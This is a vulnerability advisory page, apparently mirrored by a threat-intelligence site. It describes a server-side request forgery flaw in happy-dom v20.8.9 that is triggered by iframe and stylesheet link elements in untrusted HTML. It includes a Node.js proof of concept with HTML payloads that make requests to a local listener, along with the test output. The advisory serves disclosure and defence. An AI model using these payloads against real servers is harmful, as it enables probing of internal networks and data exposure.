HIGHCVSS v3.1 8.6Vulnerability

CVE-2026-118660

## Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ## Affected Versions - happy-dom <= 20.8.9 (latest) ## Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ## Proof of Concept ### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. #

Properties

Severity
high
Summary
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Nvd fetched at
2026-10-28T23:43:43.157973+00:00
Cvss severity
HIGH
Cvss score
8.6
Retrieved at
2026-10-28T23:45:48+00:00
Ghsa published
2026-10-28T21:06:42Z
Source url
https://github.com/advisories/GHSA-c8p4-j97h-3vg8
Ghsa updated
2026-10-28T21:06:43Z
Ghsa id
GHSA-c8p4-j97h-3vg8
Last source
GitHub Advisory Database
Score
8.6
Cvss version
3.1
Cve id
CVE-2026-118660
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
First seen by Signal
2026-10-28T23:44:40+00:00
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Published at
2026-10-28T21:16:56.123
Last modified
2026-10-28T21:16:56.123

Related Entities (3)

AFFECTS (1)

→[Software]npm/happy-dom

HAS_WEAKNESS (1)

VULNERABLE_TO (1)

←[Software]npm/happy-dom

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-118660 (CVSS v3.1 8.6) — Ninja Signal Threat Intelligence | Ninja Signal